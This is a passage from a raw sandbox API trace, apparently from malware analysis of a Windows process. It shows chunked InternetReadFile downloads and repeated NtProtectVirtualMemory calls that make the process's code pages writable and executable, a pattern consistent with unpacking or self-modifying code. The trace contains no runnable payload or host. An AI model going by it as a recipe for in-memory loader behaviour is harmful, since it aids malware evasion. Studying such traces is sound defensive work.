(lpAddress=0x1ea54000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea54000 [0134.109] VirtualFree (lpAddress=0x1e7fc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0134.110] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0134.139] VirtualAlloc (lpAddress=0x1e7fc000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7fc000 [0134.141] VirtualFree (lpAddress=0x1e7f0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0134.142] VirtualAlloc (lpAddress=0x1ea5c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea5c000 [0134.142] VirtualFree (lpAddress=0x1e80c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0134.143] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x9314) returned 1 [0134.144] VirtualAlloc (lpAddress=0x1e80c000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e80c000 [0134.145] VirtualFree (lpAddress=0x1e7f8000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0134.146] VirtualAlloc (lpAddress=0x1ea6c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea6c000 [0134.146] VirtualFree (lpAddress=0x1e814000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0134.147] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0134.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.315] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.365] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.369] VirtualAlloc (lpAddress=0x1e814000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e814000 [0134.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.465] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.733] VirtualFree (lpAddress=0x1e808000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0134.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.788] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.796] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.883] VirtualAlloc (lpAddress=0x1ea74000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea74000 [0134.883] VirtualFree (lpAddress=0x1e824000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0134.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.913] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0134.932] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.071] VirtualAlloc (lpAddress=0x1e824000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e824000 [0135.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.301] VirtualFree (lpAddress=0x1e810000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0135.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, 